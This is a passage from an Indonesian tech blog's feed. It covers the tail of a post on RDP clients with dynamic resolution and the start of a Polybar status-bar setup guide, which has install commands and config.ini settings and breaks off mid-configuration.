href=&quot;#linux-to-linux-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita coba remote ke linux (Debian):
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/gif5.B2wImrAH_1mpcs4.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Linux to Windows (Windows 7)&lt;a href=&quot;#linux-to-windows-windows-7-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita coba remote ke windows (Windows 7):
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/gif6.0NoXxo1V_Z196pN6.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Dynamic Resolution&lt;a href=&quot;#dynamic-resolution-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, kita coba untuk mengaktifkan fitur &lt;em&gt;&lt;strong&gt;dynamic resolution&lt;/strong&gt;&lt;/em&gt;-nya.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/gif2-1.BBvb3Kya_1Jmd8a.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil. Di demo &lt;em&gt;&lt;strong&gt;dynamic resolution&lt;/strong&gt;&lt;/em&gt; tersebut juga bisa kita lihat, kalau fiturnya di-non-aktifkan, maka otomatis resolusinya juga tidak akan mengikuti ukuran window remmina.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Notes&lt;a href=&quot;#notes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Jika kalian memperhatikan, saya sangat “nge-fans” dengan fitur &lt;em&gt;&lt;strong&gt;dynamic resolution&lt;/strong&gt;&lt;/em&gt; yang ada di RDP client. Makanya tidak heran saya “men-dewa-kan” RDP client yang menyediakan fitur ini (dan menganggap sepele RDP client yang tidak memiliki fitur ini seperti rdesktop). Tapi, yang perlu menjadi perhatian adalah bahwa fitur ini hanya berjalan baik di linux (setidaknya sejauh eksperimen yang sudah saya lakukan ). Adapun di Windows 7, fitur &lt;em&gt;&lt;strong&gt;dynamic resolution&lt;/strong&gt;&lt;/em&gt; ini, baik yang ada di xfreerdp maupun di remmina, tidak bisa digunakan.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Remote_Desktop_Protocol&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Remote_Desktop_Protocol&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Gorgeous Status Bar with Polybar</title><link>https://shangdi.github.io/posts/tech/polybar/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/polybar/</guid><description>Polybar aims to help users build beautiful and highly customizable status bars for their desktop environment, without the need of having a black belt in shell scripting.</description><pubDate>Sun, 02 Jun 2024 12:14:29 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Polybar&lt;/strong&gt; adalah &lt;em&gt;tool&lt;/em&gt; yang cepat mudah digunakan untuk membuat status bar&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, seperti:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1554&quot; height=&quot;45&quot; src=&quot;/_astro/ss1.TCaYGgrr_16vr3z.webp&quot; /&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Secara umum, artikel ini akan membahas 3 proses: &lt;strong&gt;Memasang Polybar&lt;/strong&gt;, &lt;strong&gt;Menjalankan Polybar&lt;/strong&gt;, dan &lt;strong&gt;Mengkustom Polybar&lt;/strong&gt;.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Memasang Polybar&lt;a href=&quot;#memasang-polybar&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Project&lt;/em&gt; polybar dapat ditemukan di internet, di repo github &lt;em&gt;official&lt;/em&gt;-nya:&lt;/p&gt;&lt;a href=&quot;https://github.com/polybar/polybar&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;polybar&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;polybar&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Di linux, polybar dapat dipasang dengan mengetikkan perintah berikut:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Install&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.debian.org/bookworm/polybar&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install polybar&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64../images/polybar/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Arch&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S polybar&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://software.opensuse.org/package/polybar&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;OpenSuse&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in polybar&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.fedoraproject.org/pkgs../images/polybar/polybar/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install polybar&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Untuk memastikan polybar sudah terpasang, ketikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;polybar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-h&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1095&quot; height=&quot;522&quot; src=&quot;/_astro/ss2.C2Fe9x4f_2qv2YD.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Menjalankan Polybar&lt;a href=&quot;#menjalankan-polybar&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Polybar dapat dijalankan sesederhana mengetikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;polybar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Ketika perintah tersebut dijalankan, maka polybar akan mengambil konfigurasi default dari &lt;strong&gt;&lt;code&gt;/etc../images/polybar/config.ini&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Atau dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;polybar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;example&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-r&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Perintah tersebut berarti secara spesifik meminta agar polybar menjalankan bar &lt;strong&gt;&lt;code&gt;example&lt;/code&gt;&lt;/strong&gt; dari file konfigurasinya dan me-reload-nya (artinya, tampilan polybar akan langsung berubah jika ada konfigurasi yang diubah tanpa harus menjalankan polybar lagi di terminal).
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;475&quot; height=&quot;524&quot; src=&quot;/_astro/ss3.CBWz1o1J_2jo6fp.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk menjalankan polybar langsung setelah login ke komputer (khususnya openbox, karena saya menjalankan openbox saat artikel ini dibuat), masukkan perintah tersebut ke file &lt;strong&gt;&lt;code&gt;.config/openbox/autostart&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Mengkustom Polybar&lt;a href=&quot;#mengkustom-polybar&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Copy&lt;/em&gt; file config polybar dari &lt;code&gt;/etc../images/polybar/config.ini&lt;/code&gt; dan &lt;em&gt;paste&lt;/em&gt;-kan ke &lt;code&gt;.config../images/polybar/config.ini&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/polybar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc../images/polybar/config.ini&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/polybar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Saya akan mengkustom polybar melalui file &lt;strong&gt;&lt;code&gt;.config../images/polybar/config.ini&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Secara umum, saya akan membuat status bar dengan 3 bagian, yaitu bagian kiri, bagian tengah, dan bagian kanan. Setiap bagian akan membawa module-nya masing-masing. Berikut adalah pembagian module pada konfigurasi polybar saya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bagian kiri&lt;/strong&gt; = workspace, current window, mpd&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bagian tengah&lt;/strong&gt; = time / date&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bagian kanan&lt;/strong&gt; = filesystem, pulseaudio, battery, eth0, netspeed&lt;/li&gt;
&lt;/ul&gt;&lt;section&gt;&lt;h3&gt;Instalasi Font (JetBrains Mono)&lt;a href=&quot;#instalasi-font-jetbrains-mono&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum masuk ke tahap-tahap kustomisasi, kita perlu meng-&lt;em&gt;install&lt;/em&gt; font JetBrains terlebih dahulu. Font JetBrains di Archlinux dapat langsung dipasang via &lt;em&gt;package manager&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ttf-jetbrains-mono&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ttf-jetbrains-mono-nerd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;[colors]&lt;a href=&quot;#colors&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita akan mulai memasukkan baris-baris konfigurasi di file &lt;code&gt;.config../images/polybar/config.ini&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Pertama-tama, saya akan mendefinisikan warna-warna yang akan digunakan pada polybar nanti.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; Warna&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[colors]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; referensi warna bisa search di google &quot;color selector&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;#000000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;background-alt&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;#000000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;#ffffff&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;primary&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;#74f0eb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;secondary&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;#8ABEB7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alert&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;#A54242&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;disabled&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;#707880&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika ingin konfigurasi warna yang berbeda, kalian bisa bereksperimen mencari warna-warna yang keren dari google, tinggal &lt;em&gt;search&lt;/em&gt; dengan &lt;em&gt;keyword&lt;/em&gt; “&lt;a href=&quot;https://www.google.com/search?client=firefox-b-d&amp;amp;q=color+selector&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;&lt;strong&gt;color selector&lt;/strong&gt;&lt;/em&gt;&lt;/a&gt;”, dimana kalian hanya perlu HEX dari warna yang kalian inginkan untuk kemudian di-&lt;em&gt;copy-paste&lt;/em&gt;-kan ke dalam variabel-variabel pada blok &lt;strong&gt;[colors]&lt;/strong&gt; tersebut.
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss5&quot; loading=&quot;lazy&quot; width=&quot;718&quot; height=&quot;650&quot; src=&quot;/_astro/ss5.COsDKzXA_Z5y6SI.webp&quot; /&gt;&lt;figcaption&gt;ss5&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;[bar/nama-bar]&lt;a href=&quot;#barnama-bar&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Blok bar ini digunakan untuk membuat nama barnya. Saya akan biarkan namanya default, yaitu &lt;strong&gt;[bar/example]&lt;/strong&gt;, kalian boleh menggantinya sesuai selera, misalnya [bar/bar1], [bar/bar-percobaan], atau [bar/bar gue]&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.ini&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; Bar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[bar/example]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;width&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 80% &lt;/span&gt;&lt;/span&gt;&lt;span&gt;; it&apos;s X&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;offset-x&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 10% &lt;/span&gt;&lt;/span&gt;&lt;span&gt;; it&apos;s Y, so that X + 2 * Y = 100&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;height&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 22pt&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;radius&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 6&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;background&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.background}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.foreground}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;line-size&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 2pt&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;border-size&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 6pt&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;border-color&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;#00000000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;padding-left&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;padding-right&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;module-margin&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;separator&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;separator-foreground&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ${colors.disabled}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;font-0&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; JetBrains Mono:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;Bold:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;pixelsize&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;&lt;span&gt;;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;font-1&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Font Awesome 6 